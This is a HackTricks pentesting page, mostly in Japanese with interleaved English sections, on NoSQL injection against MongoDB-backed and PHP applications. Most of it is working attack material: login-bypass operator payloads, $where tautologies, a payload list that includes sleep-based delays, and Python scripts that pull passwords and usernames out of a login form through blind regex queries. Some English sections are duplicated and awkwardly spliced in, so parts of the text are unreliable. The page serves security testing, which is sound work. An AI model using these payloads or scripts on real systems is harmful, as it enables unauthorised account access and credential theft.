hacktricks/pentesting-web/nosql-injection.md

15 KiB
Raw Blame History

NoSQLインジェクション


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

Exploit

PHPでは、送信されるパラメータを parameter=foo から parameter[arrName]=foo に変更することで、配列を送信できます。

エクスプロイトは、オペレーターを追加することに基づいています。

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本認証バイパス

等しくない ($ne) もしくはより大きい ($gt) を使用する

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL Injection

NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can manipulate queries to retrieve unauthorized data or perform malicious operations.

NoSQL Injection Payloads

Attackers can exploit NoSQL injection vulnerabilities by using payloads that manipulate the logic of the query. These payloads can include logical operators such as $gt (greater than), $ne (not equal), and $regex (regular expression) to modify the query's behavior and retrieve sensitive information.

Example

In a MongoDB query, an attacker can manipulate the logic to bypass authentication and retrieve user data by injecting a payload like {"username": {"$ne": null}, "password": {"$ne": null}}. This payload modifies the query to retrieve user data without requiring a valid username and password.

Preventing NoSQL Injection

To prevent NoSQL injection attacks, developers should sanitize user input, validate input data types, and use parameterized queries. By implementing proper input validation and query sanitization, developers can mitigate the risk of NoSQL injection vulnerabilities.

query = { $where: `this.username == '${username}'` }

攻撃者は、admin' || 'a'=='aのような文字列を入力することで、タウトロジー('a'=='a'によって条件を満たす)を使用してクエリを返すようにし、すべてのドキュメントを返すように悪用することができます。これは、SQLインジェクション攻撃に類似しており、' or 1=1-- -のような入力が使用されてSQLクエリを操作することがあります。MongoDBでは、' || 1==1//' || 1==1%00、またはadmin' || 'a'=='aのような入力を使用して同様のインジェクションが行われる可能性があります。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

長さ情報を抽出

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

データ情報を抽出

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

NoSQL Injection

NoSQL databases like MongoDB are also vulnerable to injection attacks. In MongoDB, injection attacks can occur when untrusted data is sent as part of a query.

Example

Consider the following MongoDB query:

db.users.find({username: " + req.body.username + "})  

An attacker can manipulate the query by sending a payload like:

{"username": {"$gt": ""}, "password": {"$gt": ""}}  

This payload will return all user documents from the users collection, as the conditions $gt: "" will always be true.

Prevention

To prevent NoSQL injection, always validate and sanitize user input before including it in a database query. Use parameterized queries or ORM libraries that handle input validation automatically.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP任意関数の実行

MongoLiteライブラリの**$func**演算子を使用すると、デフォルトで使用される可能性があり、このレポートに記載されているように、任意の関数を実行できるかもしれません。

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

異なるコレクションから情報を取得する

異なるコレクションから情報を取得するには、$lookupを使用することができます。次の例では、usersという異なるコレクションから読み取り、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB ペイロード

こちらからリスト

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQLスクリプト

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POSTログインからのユーザー名とパスワードの総当たり攻撃

これは簡単なスクリプトで、変更することができますが、以前のツールでもこのタスクを実行できます。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

ツール

参考文献

htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ**

HackTricks をサポートする他の方法:


Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築 および 自動化 してください。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}